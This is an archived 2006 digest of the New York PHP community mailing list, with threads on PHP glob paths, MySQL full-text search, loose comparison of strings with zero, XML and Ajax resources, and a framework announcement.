>   Can you post the current non-working script? With so many different
> suggestions, I'd like to be able to see what you're seeing.
> 
> Ken
> 
> _______________________________________________
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> 
> 
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From jeff.loiselle at gmail.com  Wed Jul 19 21:43:30 2006
From: jeff.loiselle at gmail.com (Jeff Loiselle)
Date: Wed, 19 Jul 2006 21:43:30 -0400
Subject: [nycphp-talk] Parsing Excel Files
Message-ID: <4b1887110607191843j32ae55dfu7c09991bf359a61c@mail.gmail.com>

Been googling and wondering.. anyone have a solution they'd reccomend?

---
Jeff Loiselle
Web Developer, Musician, and Observer
http://jeff.loiselles.com


From Consult at CovenantEDesign.com  Wed Jul 19 22:04:32 2006
From: Consult at CovenantEDesign.com (CED)
Date: Wed, 19 Jul 2006 22:04:32 -0400
Subject: [nycphp-talk] foreach ERROR
References: <004c01c6a9d9$47f82540$0619a8c0@ced><1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced><44BBFF44.4040603@beaffinitive.com><00a801c6a9f2$c2d9a0e0$0619a8c0@ced><44BC1F67.5060707@beaffinitive.com><00b401c6aac1$bcd31d00$0619a8c0@ced><7.0.1.0.2.20060718193639.13e72a78@rbnsn.com>	<00c401c6aac6$5f2bcb70$0619a8c0@ced><00cc01c6aac6$a3214170$0619a8c0@ced>
	<44BE347C.2040101@n0p.net>
Message-ID: <009101c6aba0$d809b630$0619a8c0@ced>

Awesome,  That was the issue, my script was fine, the $dir was amiss,
changed it to '../Music, and all is wonderful. Thanks to evceryone who
helped over the past few days.

Cheers
----- Original Message ----- 
From: "Flavio daCosta" <nyphp at n0p.net>
To: "NYPHP Talk" <talk at lists.nyphp.org>
Sent: Wednesday, July 19, 2006 9:32 AM
Subject: Re: [nycphp-talk] foreach ERROR


I haven't been following along, so forgive me if this has been already
covered.  Looking at the error and the code, for one, I can see a
problem with the path.  You are in '.../Audio/mp3', what you want is
'../Music'.  Secondly, I'm not really sure what your objectives are, but
it appears that some simplification is in order.

Food for thought:

<?php
$dir    = '../Music';
$return = array ();
foreach (glob ("$dir/*.mp3") as $item)
{
    $return[] = basename ($item);
}
print_r($return) ;
?>


> From: "CED" <Consult at CovenantEDesign.com>
> This is the most recent, and stripped down, state:
>
> <?
> $dir = '../Audio/Music';
> foreach(glob("$dir/*.mp3") as $item){$sort[] = (end(explode('/',$item)));}
>     foreach($sort as $item){$return[]= $item;}
>      if(!$return){return array();}
>
>   echo($return[0]) ;
>   ?>
>
> And this is still the error:
>
> Warning: Invalid argument supplied for foreach() in
> /hsphere/local/home/skoilnog/edwardprevost.info/Audio/mp3/Audio.php on
line
> 4
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From arzala at gmail.com  Wed Jul 19 23:40:54 2006
From: arzala at gmail.com (Anirudh Zala)
Date: Thu, 20 Jul 2006 09:10:54 +0530
Subject: [nycphp-talk] Parsing Excel Files
In-Reply-To: <4b1887110607191843j32ae55dfu7c09991bf359a61c@mail.gmail.com>
References: <4b1887110607191843j32ae55dfu7c09991bf359a61c@mail.gmail.com>
Message-ID: <op.tcyxugum6dyt8l@aum1.aum.com>

Read this thread.

http://lists.nyphp.org/pipermail/talk/2006-June/018807.html

Thanks

Anirudh Zala

On Thu, 20 Jul 2006 07:13:30 +0530, Jeff Loiselle  
<jeff.loiselle at gmail.com> wrote:

> Been googling and wondering.. anyone have a solution they'd reccomend?
>
> ---
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> http://jeff.loiselles.com
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From jonbaer at jonbaer.com  Thu Jul 20 09:17:04 2006
From: jonbaer at jonbaer.com (Jon Baer)
Date: Thu, 20 Jul 2006 09:17:04 -0400
Subject: [nycphp-talk] PHP security proxy scanner
Message-ID: <582EAED6-80E9-4333-BBFE-F926B767271E@jonbaer.com>

https://chorizo-scanner.com

Has anyone here tried this out yet?

- Jon


From ps at pswebcode.com  Thu Jul 20 10:39:57 2006
From: ps at pswebcode.com (Peter Sawczynec)
Date: Thu, 20 Jul 2006 10:39:57 -0400
Subject: [nycphp-talk] PHP/SQL Full Text Search on MySQL
Message-ID: <001301c6ac0a$5fae80c0$68e4a144@Rubicon>

Has anyone come across a simple PHP/SQL class or basic script that handles
MySQL 4.x full text searching 
and maybe even returns results with relevancy?
 
Or maybe you've seen an excellent tutorial on this topic?
 
It does not have to be a big deal, I don't need a spider or document
searching, 
just full text searching on a full text indexed MySQL table.
 
You know, just asking...
 
Warmest regards,
 
Peter Sawczynec,
Technology Director
PSWebcode
_Design & Interface
_Ecommerce
_Database Management
ps at pswebcode.com
718.796.1951
www.pswebcode.com
 
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From jbaer at VillageVoice.com  Thu Jul 20 11:34:19 2006
From: jbaer at VillageVoice.com (Baer, Jon)
Date: Thu, 20 Jul 2006 11:34:19 -0400
Subject: [nycphp-talk] PHP/SQL Full Text Search on MySQL
In-Reply-To: <001301c6ac0a$5fae80c0$68e4a144@Rubicon>
Message-ID: <4D2FAD9B00577645932AD7ED5FECA24502DC8182@mail>

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While it doesn't really answer your question .. Ive been looking @ this
lately ..

http://hyperestraier.sourceforge.net/

I was a little surprised to not find a MySQL or PHP bindings to it
(although I guess you can do PHP-Swig? Maybe).

Then Google led me here ..
http://page2.xrea.jp/doc/Services_HyperEstraier-0.2.8/Services_HyperEstr
aier/_HyperEstraier-0.2.8_HyperEstraier_php.html

Im guessing you basically broker fulltext searching or just that column
data to a more robust fulltext indexing engine.

I don't think in the current MySQL situation you can get any meta
information back from the result :-\

- - Jon

- -----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org]
On Behalf Of Peter Sawczynec
Sent: Thursday, July 20, 2006 10:40 AM
To: 'Org, Talk at Nyphp.'
Subject: [nycphp-talk] PHP/SQL Full Text Search on MySQL

Has anyone come across a simple PHP/SQL class or basic script that
handles MySQL 4.x full text searching and maybe even returns results
with relevancy?
 
Or maybe you've seen an excellent tutorial on this topic?
 
It does not have to be a big deal, I don't need a spider or document
searching, just full text searching on a full text indexed MySQL table.
 
You know, just asking...
 
Warmest regards,
 
Peter Sawczynec,
Technology Director
PSWebcode
_Design & Interface
_Ecommerce
_Database Management
ps at pswebcode.com
718.796.1951
www.pswebcode.com
 
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From dmintz at davidmintz.org  Thu Jul 20 12:04:26 2006
From: dmintz at davidmintz.org (David Mintz)
Date: Thu, 20 Jul 2006 12:04:26 -0400 (EDT)
Subject: [nycphp-talk] congrats to Synder & Southwell on positive "Pro PHP
	Security" review
Message-ID: <Pine.BSF.4.58.0607201201300.60653@emra.pair.com>


http://books.slashdot.org/books/06/07/19/146236.shtml

---
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http://davidmintz.org/

Amendment IV

The right of the people to be secure in their
persons, houses, papers, and effects, against
unreasonable searches and seizures, shall not be
violated, and no Warrants shall issue, but upon
probable cause, supported by Oath or affirmation,
and particularly describing the place to be
searched, and the persons or things to be seized.


From cliff at pinestream.com  Thu Jul 20 12:22:02 2006
From: cliff at pinestream.com (Cliff Hirsch)
Date: Thu, 20 Jul 2006 12:22:02 -0400
Subject: [nycphp-talk] $_SERVER['REQUEST_URI'] validation
Message-ID: <000b01c6ac18$a25c2c20$12a8a8c0@HirschLaptop>

I have tried to avoid $_SERVER['REQUEST_URI'] for security reasons, but
it's just too easy to use for things like login redirects. Are there any
good scripts for validating this variable?
 
As I see it, I should probably deconstruct it, validate the following,
and then reconstruct it.
1.	The domain is "mine"
2.	The requested page is "ok"
3.	The "stuff" after the ? isn't "nasty"
 
Any thoughts or suggestions?
 
Cliff
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From tedd at sperling.com  Thu Jul 20 12:46:46 2006
From: tedd at sperling.com (tedd)
Date: Thu, 20 Jul 2006 12:46:46 -0400
Subject: [nycphp-talk] PHP/SQL Full Text Search on MySQL
In-Reply-To: <001301c6ac0a$5fae80c0$68e4a144@Rubicon>
References: <001301c6ac0a$5fae80c0$68e4a144@Rubicon>
Message-ID: <p0623090bc0e5615a4204@[192.168.1.100]>

At 10:39 AM -0400 7/20/06, Peter Sawczynec wrote:
>Has anyone come across a simple PHP/SQL class or basic script that handles MySQL 4.x full text searching
>and maybe even returns results with relevancy?
> 
>Or maybe you've seen an excellent tutorial on this topic?
> 
>It does not have to be a big deal, I don't need a spider or document searching,
>just full text searching on a full text indexed MySQL table.
> 
>You know, just asking...
> 
>Warmest regards,
> 
>Peter Sawczynec,

Peter:

An excellent write-up and example is shown in "MySQL Cookbook" by Paul DuBois re O'Reilly. You can get via Amazon for $22.99 used.

I'm currently discovering what that is about myself.

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From craig at juxtadigital.com  Thu Jul 20 12:56:37 2006
From: craig at juxtadigital.com (Craig Thomas)
Date: Thu, 20 Jul 2006 12:56:37 -0400
Subject: [nycphp-talk] PHP/SQL Full Text Search on MySQL
In-Reply-To: <001301c6ac0a$5fae80c0$68e4a144@Rubicon>
References: <001301c6ac0a$5fae80c0$68e4a144@Rubicon>
Message-ID: <44BFB5C5.8090102@juxtadigital.com>

Peter Sawczynec wrote:
> Has anyone come across a simple PHP/SQL class or basic script that 
> handles MySQL 4.x full text searching
> and maybe even returns results with relevancy?
>  
> Or maybe you've seen an excellent tutorial on this topic?

FYI:

http://www.zend.com/zend/tut/tutorial-ferrara1.php

http://dev.mysql.com/doc/refman/5.0/en/fulltext-search.html



From ps at pswebcode.com  Thu Jul 20 17:22:16 2006
From: ps at pswebcode.com (Peter Sawczynec)
Date: Thu, 20 Jul 2006 17:22:16 -0400
Subject: [nycphp-talk] PHP/SQL Full Text Search on MySQL
In-Reply-To: <p0623090bc0e5615a4204@[192.168.1.100]>
Message-ID: <003801c6ac42$934cf0f0$68e4a144@Rubicon>

Okay so here's how this shaped up, in case this info can ever help you too.

I have MySQL Cookbook and the solid explanation there about full-text
searching is real good, 
including (very importantly) the config tweak on how to get MySQL full text
search to include 3-letter words.


But, the zend tutorial pointed out by Craig Thomas jumps right in quite on
the money:
a) builds a quick form, 
b) introduces and uses Boolean full text searching too, 
c) also offers relevancy in the result sets, 
http://www.zend.com/zend/tut/tutorial-ferrara1.php


This other tutorial (though based on another pre-existing code project),
also shows very nicely:
a) how to splice in a list of words to ignore, 
b) word weighting, 
c) how to apply word stems, 
http://www.symfony-project.com/askeet/21



Errata:

Neat explanation.
http://www.devarticles.com/c/a/MySQL/Getting-Started-With-MySQLs-Full-Text-S
earch-Capabilities/


A super looking "does it all" search engine PHP project:
http://us2.php.net/mnogosearch


And a search tools compendium:
http://www.searchtools.com/tools/tools.html


Gracias y buenos noches.




-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On
Behalf Of tedd
Sent: Thursday, July 20, 2006 12:47 PM
To: NYPHP Talk
Subject: Re: [nycphp-talk] PHP/SQL Full Text Search on MySQL


At 10:39 AM -0400 7/20/06, Peter Sawczynec wrote:
>Has anyone come across a simple PHP/SQL class or basic script that 
>handles MySQL 4.x full text searching and maybe even returns results 
>with relevancy?
> 
>Or maybe you've seen an excellent tutorial on this topic?
> 
>It does not have to be a big deal, I don't need a spider or document 
>searching, just full text searching on a full text indexed MySQL table.
> 
>You know, just asking...
> 
>Warmest regards,
> 
>Peter Sawczynec,

Peter:

An excellent write-up and example is shown in "MySQL Cookbook" by Paul
DuBois re O'Reilly. You can get via Amazon for $22.99 used.

I'm currently discovering what that is about myself.

tedd
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From michael.southwell at nyphp.org  Thu Jul 20 21:42:57 2006
From: michael.southwell at nyphp.org (Michael Southwell)
Date: Thu, 20 Jul 2006 21:42:57 -0400
Subject: [nycphp-talk] congrats to Synder & Southwell on positive "Pro
 PHP Security" review
In-Reply-To: <Pine.BSF.4.58.0607201201300.60653@emra.pair.com>
References: <Pine.BSF.4.58.0607201201300.60653@emra.pair.com>
Message-ID: <6.2.3.4.2.20060720214240.02615910@pop.nyphp.com>

At 12:04 PM 7/20/2006, you wrote:

>http://books.slashdot.org/books/06/07/19/146236.shtml

Thanks, David.  We worked hard (very hard!) on the book, and so it's 
nice not just to see it getting this kind of positive recognition but 
also to imagine it helping people write applications that are more 
secure in a whole variety of ways.


>---
>David Mintz
>http://davidmintz.org/
>
>Amendment IV
>
>The right of the people to be secure in their
>persons, houses, papers, and effects, against
>unreasonable searches and seizures, shall not be
>violated, and no Warrants shall issue, but upon
>probable cause, supported by Oath or affirmation,
>and particularly describing the place to be
>searched, and the persons or things to be seized.
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From jay_nyphp2 at emailias.com  Thu Jul 20 22:05:11 2006
From: jay_nyphp2 at emailias.com (Jayesh Sheth)
Date: Thu, 20 Jul 2006 22:05:11 -0400
Subject: [nycphp-talk] comparison with zero
Message-ID: <1153447511.28157.266529328@webmail.messagingengine.com>

Hi everyone,

Okay, here's a test.

Consider the following snippet:

<?php
define('ZERO', 0);
define('ONE', 1);

function switchIt($val){

	switch($val){
		case ZERO:
		echo 'it is zero';
		break;
		
		case ONE:
		echo 'it is one';
		break;
		
		default:
		echo 'I do not know';
		break;
	}

}

switchIt('undefined');
?>
What will be outputted above? 

If you said 'I do not know', then you are wrong; 'it is zero' will be
outputted.

The reason I think this is happening is because if you do something like
this:

if('one' == 0){
	echo 'one is equal to zero';
}
you will get 'one is equal to zero'. This may be a stupid question, but
why if you compare a string to zero, does it evaluate to true?

Thanks, 

- Jay


From michael.southwell at nyphp.org  Thu Jul 20 23:29:27 2006
From: michael.southwell at nyphp.org (Michael Southwell)
Date: Thu, 20 Jul 2006 23:29:27 -0400
Subject: [nycphp-talk] comparison with zero
In-Reply-To: <1153447511.28157.266529328@webmail.messagingengine.com>
References: <1153447511.28157.266529328@webmail.messagingengine.com>
Message-ID: <6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com>

All strings are evaluated as zero unless they begin with a character 
which can be interpreted as a numeral.  You can test this as follows:

echo intval( 'a string');

see 
http://us3.php.net/manual/en/language.types.string.php#language.types.string.conversion 
for more information

this is why echo 5 + '5' outputs 10, whereas echo 5 + 'five' outputs 5


At 10:05 PM 7/20/2006, you wrote:
>Hi everyone,
>
>Okay, here's a test.
>
>Consider the following snippet:
>
><?php
>define('ZERO', 0);
>define('ONE', 1);
>
>function switchIt($val){
>
>         switch($val){
>                 case ZERO:
>                 echo 'it is zero';
>                 break;
>
>                 case ONE:
>                 echo 'it is one';
>                 break;
>
>                 default:
>                 echo 'I do not know';
>                 break;
>         }
>
>}
>
>switchIt('undefined');
>?>
>What will be outputted above?
>
>If you said 'I do not know', then you are wrong; 'it is zero' will be
>outputted.
>
>The reason I think this is happening is because if you do something like
>this:
>
>if('one' == 0){
>         echo 'one is equal to zero';
>}
>you will get 'one is equal to zero'. This may be a stupid question, but
>why if you compare a string to zero, does it evaluate to true?
>
>Thanks,
>
>- Jay
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From craig at juxtadigital.com  Fri Jul 21 07:14:44 2006
From: craig at juxtadigital.com (Craig Thomas)
Date: Fri, 21 Jul 2006 07:14:44 -0400
Subject: [nycphp-talk] comparison with zero
In-Reply-To: <6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com>
References: <1153447511.28157.266529328@webmail.messagingengine.com>
	<6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com>
Message-ID: <44C0B724.3010002@juxtadigital.com>

Michael Southwell wrote:
> All strings are evaluated as zero unless they begin with a character 
> which can be interpreted as a numeral.  You can test this as follows:
> 
> echo intval( 'a string');
> 
> see 
> http://us3.php.net/manual/en/language.types.string.php#language.types.string.conversion 
> for more information

>>if('one' == 0){
>>        echo 'one is equal to zero';
>>}
>>you will get 'one is equal to zero'. This may be a stupid question, but
>>why if you compare a string to zero, does it evaluate to true?

Try:

if('one' === 0){
  echo 'one is equal to zero?';
}

http://www.php.net/manual/en/language.operators.comparison.php




From dmintz at davidmintz.org  Fri Jul 21 09:13:51 2006
From: dmintz at davidmintz.org (David Mintz)
Date: Fri, 21 Jul 2006 09:13:51 -0400 (EDT)
Subject: [nycphp-talk] comparison with zero
In-Reply-To: <44C0B724.3010002@juxtadigital.com>
References: <1153447511.28157.266529328@webmail.messagingengine.com>
	<6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com>
	<44C0B724.3010002@juxtadigital.com>
Message-ID: <Pine.BSF.4.58.0607210911550.68821@emra.pair.com>


Perhaps the real lesson is that the switch/case construct uses == rather
than ===

On Fri, 21 Jul 2006, Craig Thomas wrote:
[...]
> Try:
>
> if('one' === 0){
>   echo 'one is equal to zero?';
> }
>
> http://www.php.net/manual/en/language.operators.comparison.php
>
>

---
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http://davidmintz.org/

Amendment IV

The right of the people to be secure in their
persons, houses, papers, and effects, against
unreasonable searches and seizures, shall not be
violated, and no Warrants shall issue, but upon
probable cause, supported by Oath or affirmation,
and particularly describing the place to be
searched, and the persons or things to be seized.


From scott at crisscott.com  Fri Jul 21 09:20:22 2006
From: scott at crisscott.com (Scott Mattocks)
Date: Fri, 21 Jul 2006 09:20:22 -0400
Subject: [nycphp-talk] comparison with zero
In-Reply-To: <6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com>
References: <1153447511.28157.266529328@webmail.messagingengine.com>
	<6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com>
Message-ID: <44C0D496.7080900@crisscott.com>

Michael Southwell wrote:
> All strings are evaluated as zero unless they begin with a character 
> which can be interpreted as a numeral.  You can test this as follows:

I think to be a little more clear here you have to say, "When a string 
is converted to a number, it will be converted to zero unless it begins 
with a number."

A non-empty string that is converted to a boolean will be converted to 
TRUE. Also, the === operator converts all things to strings and then 
compares the string values to see if the two are equal. Therefore, "str" 
=== 0 becomes "str" == "0" not 0 == 0.

-- 
Scott Mattocks
Author of: Pro PHP-GTK
http://www.crisscott.com


From dcech at phpwerx.net  Fri Jul 21 10:32:59 2006
From: dcech at phpwerx.net (Dan Cech)
Date: Fri, 21 Jul 2006 10:32:59 -0400
Subject: [nycphp-talk] comparison with zero
In-Reply-To: <44C0D496.7080900@crisscott.com>
References: <1153447511.28157.266529328@webmail.messagingengine.com>	<6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com>
	<44C0D496.7080900@crisscott.com>
Message-ID: <44C0E59B.5060500@phpwerx.net>

Scott Mattocks wrote:
> A non-empty string that is converted to a boolean will be converted to 
> TRUE. Also, the === operator converts all things to strings and then 
> compares the string values to see if the two are equal. Therefore, "str" 
> === 0 becomes "str" == "0" not 0 == 0.

Actually, no.

The === operator does not do any conversion at all, the 2 arguments must
have the same type and the same value for === to return true.

These pages from the manual will give you a good run down on how the
various comparison operators work.

http://php.net/manual/en/language.operators.comparison.php
http://php.net/manual/en/types.comparisons.php

If you want both arguments converted to string and compared as such you
will need to use the strcmp function:

http://php.net/manual/en/function.strcmp.php

Or do the conversion yourself:

if ((string)$a === (string)$b) {
  ...
}

The rules for comparisons are not altogether simple, and I for one found
my first thorough read-through of the pages above very enlightening.

Dan


From scott at crisscott.com  Fri Jul 21 11:12:12 2006
From: scott at crisscott.com (Scott Mattocks)
Date: Fri, 21 Jul 2006 11:12:12 -0400
Subject: [nycphp-talk] comparison with zero
In-Reply-To: <44C0E59B.5060500@phpwerx.net>
References: <1153447511.28157.266529328@webmail.messagingengine.com>	<6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com>	<44C0D496.7080900@crisscott.com>
	<44C0E59B.5060500@phpwerx.net>
Message-ID: <44C0EECC.8090305@crisscott.com>

Dan Cech wrote:
> Scott Mattocks wrote:
>> A non-empty string that is converted to a boolean will be converted to 
>> TRUE. Also, the === operator converts all things to strings and then 
>> compares the string values to see if the two are equal. Therefore, "str" 
>> === 0 becomes "str" == "0" not 0 == 0.
> 
> Actually, no.
> 
> The === operator does not do any conversion at all, the 2 arguments must
> have the same type and the same value for === to return true.

Of course I can't find the page where I read this but I know that I have 
seen many times, "=== compares the string representation of the two 
variables."

Which is why you get different results for "1" == "01" and "1" === "01".

I will keep looking for the page.
-- 
Scott Mattocks
Author of: Pro PHP-GTK
http://www.crisscott.com


From shiflett at php.net  Fri Jul 21 11:19:31 2006
From: shiflett at php.net (Chris Shiflett)
Date: Fri, 21 Jul 2006 11:19:31 -0400
Subject: [nycphp-talk] comparison with zero
In-Reply-To: <44C0D496.7080900@crisscott.com>
References: <1153447511.28157.266529328@webmail.messagingengine.com>	<6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com>
	<44C0D496.7080900@crisscott.com>
Message-ID: <44C0F083.1000807@php.net>

Scott Mattocks wrote:
> When a string is converted to a number, it will be converted
> to zero unless it begins with a number.

I like to think of this is a side-effect of the way PHP determines the
numeric value rather than a special case. The string is scanned from
left to right, and as long as the characters can possibly represent a
numeric value, they are considered to be part of it.

All of these evaluate to TRUE:

var_dump(10 == '10');
var_dump(10 == '010');
var_dump(10 == '10ronaldinho');
var_dump(10 == '10e');
var_dump(10 == '+10e');
var_dump(10 == '10abc20');

E and + are the only non-digit characters that can be interpreted as
representing a numeric value, as far as I'm aware, and it depends on
where they're encountered. (I think + needs to be the first character,
in which case it's superfluous anyway, and E needs to be followed by a
digit.)

These evaluate to FALSE:

var_dump(10 == '10e2');
var_dump(10 == '10E2');

If you're like me, this is surprising. You're probably thinking that the
strings on the right are being converted to integers, because that's
what they're being compared to. Nope, because these evaluate to TRUE:

var_dump(10 == (int)'10e2');
var_dump(10 == (int)'10E2');

These evaluate to FALSE:

var_dump(10 == (float)'10e2');
var_dump(10 == (float)'10E2');

So, I would consider this to be the special case, not strings that don't
begin with a digit.

> A non-empty string that is converted to a boolean will be
> converted to TRUE.

Just so no one is mislead, I think Scott means empty() as in the
function, not all strings that are not the empty string. For example:

$true = '0';

if (!$true) {
    echo "The string '0' is not TRUE.";
}

Hope that helps.

Chris

-- 
Chris Shiflett
Principal, OmniTI
http://omniti.com/


From dcech at phpwerx.net  Fri Jul 21 11:43:59 2006
From: dcech at phpwerx.net (Dan Cech)
Date: Fri, 21 Jul 2006 11:43:59 -0400
Subject: [nycphp-talk] comparison with zero
In-Reply-To: <44C0EECC.8090305@crisscott.com>
References: <1153447511.28157.266529328@webmail.messagingengine.com>	<6.2.3.4.2.20060720232608.025f3ac0@pop.nyphp.com>	<44C0D496.7080900@crisscott.com>	<44C0E59B.5060500@phpwerx.net>
	<44C0EECC.8090305@crisscott.com>
Message-ID: <44C0F63F.2080002@phpwerx.net>

Scott Mattocks wrote:
> Dan Cech wrote:
>> Scott Mattocks wrote:
>>> A non-empty string that is converted to a boolean will be converted to 
>>> TRUE. Also, the === operator converts all things to strings and then 
>>> compares the string values to see if the two are equal. Therefore, "str" 
>>> === 0 becomes "str" == "0" not 0 == 0.
>> Actually, no.
>>
>> The === operator does not do any conversion at all, the 2 arguments must
>> have the same type and the same value for === to return true.
> 
> Of course I can't find the page where I read this but I know that I have 
> seen many times, "=== compares the string representation of the two 
> variables."
> 
> Which is why you get different results for "1" == "01" and "1" === "01".
> 
> I will keep looking for the page.

If you think about it this cannot be correct, as there are many examples
of variables which are not identical though the results of converting
them to a string are.

The reason you get different results for "1" == "01" and "1" === "01" is
that the first compares them as numbers (because they are both numeric
strings), while the second compares them as strings.

Dan


From ken at secdat.com  Fri Jul 21 12:26:03 2006
From: ken at secdat.com (Kenneth Downs)
Date: Fri, 21 Jul 2006 12:26:03 -0400
Subject: [nycphp-talk] Here or Announce?
Message-ID: <44C1001B.3060907@secdat.com>

I am not clear from reading the website if NYPHP-Announce is only for 
announcements from the friendly folks running NYPHP, or for us casual 
lurkers who have an announcement.  If I have an announcement, does it go 
here or there?
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From jbaltz at altzman.com  Fri Jul 21 15:03:47 2006
From: jbaltz at altzman.com (Jerry B. Altzman)
Date: Fri, 21 Jul 2006 15:03:47 -0400
Subject: [nycphp-talk] Here or Announce?
In-Reply-To: <44C1001B.3060907@secdat.com>
References: <44C1001B.3060907@secdat.com>
Message-ID: <44C12513.4070402@altzman.com>

On 7/21/2006 12:26 PM, Kenneth Downs wrote:
> I am not clear from reading the website if NYPHP-Announce is only for 
> announcements from the friendly folks running NYPHP, or for us casual 
> lurkers who have an announcement.  If I have an announcement, does it go 
> here or there?

Congratulations!
Many happy more!

:-)

//jbaltz
-- 
jerry b. altzman        jbaltz at altzman.com     www.jbaltz.com
thank you for contributing to the heat death of the universe.


From jbaltz at altzman.com  Fri Jul 21 15:31:02 2006
From: jbaltz at altzman.com (Jerry B. Altzman)
Date: Fri, 21 Jul 2006 15:31:02 -0400
Subject: [nycphp-talk] apologies to the list (was: Re:  Here or Announce?)
In-Reply-To: <44C12513.4070402@altzman.com>
References: <44C1001B.3060907@secdat.com> <44C12513.4070402@altzman.com>
Message-ID: <44C12B76.9060804@altzman.com>

On 7/21/2006 3:03 PM, Jerry B. Altzman wrote:
[...a snide comment...]

My apologies to the list for what should have been a direct follow-up to 
the original sender.

//jbaltz
-- 
jerry b. altzman        jbaltz at altzman.com     www.jbaltz.com
thank you for contributing to the heat death of the universe.


From lists at zaunere.com  Fri Jul 21 15:51:24 2006
From: lists at zaunere.com (Hans Zaunere)
Date: Fri, 21 Jul 2006 15:51:24 -0400
Subject: [nycphp-talk] Here or Announce?
In-Reply-To: <44C1001B.3060907@secdat.com>
Message-ID: <000601c6acff$0c846900$640aa8c0@MobileZ>


Hi Ken,

Kenneth Downs wrote on Friday, July 21, 2006 12:26 PM:
> I am not clear from reading the website if NYPHP-Announce is only for
> announcements from the friendly folks running NYPHP, or for us casual
> lurkers who have an announcement.  If I have an announcement, does it
> go here or there?

Depends what it is - 

Submit it to http://www.nyphp.org/contact.php and we'll take it from there.

Thank you for asking,

---
Hans Zaunere / President / New York PHP
   www.nyphp.org  /  www.nyphp.com




From laeeq38 at yahoo.com  Fri Jul 21 16:04:42 2006
From: laeeq38 at yahoo.com (Laeeq Ahmed)
Date: Fri, 21 Jul 2006 13:04:42 -0700 (PDT)
Subject: [nycphp-talk] Title: Virtual Hosting Setup - Windows 98/XP &
Message-ID: <20060721200442.16972.qmail@web56402.mail.re3.yahoo.com>

 Title: Virtual Hosting Setup - Windows 98/XP & 
Linux with Apache

 I read this article which is very good but it still doesnt answer one
 question. If I were to enter any URL (e.g yahoo.com, hotmail.com I
 mean could be any URL)in the browser in my XP machine, my host file
 would not know what it is going to be. In this case, I still would
 like my Linux machine to serve it with some default page saying
 "Hello". Can I do it with my default virtual host? what else can I do
 to set up such scenario?      
   
 Regards









 		
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Do you Yahoo!?
 Everyone is raving about the  all-new Yahoo! Mail Beta.
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From brian at mexny.com  Sun Jul 23 01:32:45 2006
From: brian at mexny.com (brian at mexny.com)
Date: Sat, 22 Jul 2006 22:32:45 -0700
Subject: [nycphp-talk] XML with PHP
Message-ID: <1153632765.44c309fd7db3d@webmail.mexny.com>

Hi, i'm working with PHP for the last 3 years, i learnt PHP by myself reading,
but i now i want to know how can i implement XML in PHP, and how can XML could
make better ways to develop in PHP.

I know this is not the list to talk about XML, but that's not the point, i want
to know how is the relation between XML and PHP..

And the Next question is, could any tell me where can i learn about Ajax..

best regards..




From matt at jobsforge.com  Sun Jul 23 07:48:40 2006
From: matt at jobsforge.com (Matthew Terenzio)
Date: Sun, 23 Jul 2006 07:48:40 -0400
Subject: [nycphp-talk] XML with PHP
In-Reply-To: <1153632765.44c309fd7db3d@webmail.mexny.com>
References: <1153632765.44c309fd7db3d@webmail.mexny.com>
Message-ID: <11d48d54815d2a85d6fc919cc32aba11@jobsforge.com>


On Jul 23, 2006, at 1:32 AM, "" <brian at mexny.com> wrote:

> Hi, i'm working with PHP for the last 3 years, i learnt PHP by myself 
> reading,
> but i now i want to know how can i implement XML in PHP, and how can 
> XML could
> make better ways to develop in PHP.
It's a hugely broad topic.
Look at the many article on Google talking about what people are doing:

http://www.google.com/search?q=xml+php

>
> I know this is not the list to talk about XML, but that's not the 
> point, i want
> to know how is the relation between XML and PHP..
Many languages have libraries made to handle XML and make it easier to 
use.
check out:

http://us3.php.net/simplexml

http://us3.php.net/manual/en/ref.domxml.php


>
> And the Next question is, could any tell me where can i learn about 
> Ajax..

http://www.google.com/search?q=ajax

Stay away from the paid link on the right for ajax.com, unless you were 
looking to clean your sink. ;)
>
> best regards..
>
>
> _______________________________________________
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> http://lists.nyphp.org/mailman/listinfo/talk
>
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>
> Show Your Participation in New York PHP
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>

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From arzala at gmail.com  Mon Jul 24 00:00:13 2006
From: arzala at gmail.com (Anirudh Zala)
Date: Mon, 24 Jul 2006 09:30:13 +0530
Subject: [nycphp-talk] XML with PHP
In-Reply-To: <1153632765.44c309fd7db3d@webmail.mexny.com>
References: <1153632765.44c309fd7db3d@webmail.mexny.com>
Message-ID: <op.tc6denjf6dyt8l@aum1.aum.com>

About learning ajax, better to learn from frameworks or packages like  
http://www.xajax.org, http://pear.php.net/package/
HTML_AJAX etc.

Thanks

Anirudh Zala

On Sun, 23 Jul 2006 11:02:45 +0530, <brian at mexny.com> wrote:

> Hi, i'm working with PHP for the last 3 years, i learnt PHP by myself  
> reading,
> but i now i want to know how can i implement XML in PHP, and how can XML  
> could
> make better ways to develop in PHP.
>
> I know this is not the list to talk about XML, but that's not the point,  
> i want
> to know how is the relation between XML and PHP..
>
> And the Next question is, could any tell me where can i learn about  
> Ajax..
>
> best regards..
>
>
> _______________________________________________
> New York PHP Community Talk Mailing List
> http://lists.nyphp.org/mailman/listinfo/talk
>
> NYPHPCon 2006 Presentations Online
> http://www.nyphpcon.com
>
> Show Your Participation in New York PHP
> http://www.nyphp.org/show_participation.php



-- 
-----------------------------------------------
Anirudh Zala (Project Manager)
ASPL, http://www.aspl.in
Ph: +91 281 245 1894
arzala at gmail.com
-----------------------------------------------


From ken at secdat.com  Mon Jul 24 09:13:14 2006
From: ken at secdat.com (Kenneth Downs)
Date: Mon, 24 Jul 2006 09:13:14 -0400
Subject: [nycphp-talk] ANNOUNCE: GLP Data-centrice PHP framework
Message-ID: <44C4C76A.1080403@secdat.com>

Secure Data Software is announcing that our GPL'd database-centric PHP
framework has gone into beta.  It is available for download now from the
main project site at:

http://docs.secdat.com

This framework is heavily centered on database applications, and makes large
use of a data dictionary to drive most (sometimes all) of the
functionality.  It stresses not so much the management of code as the
elimination of code wherever possible.

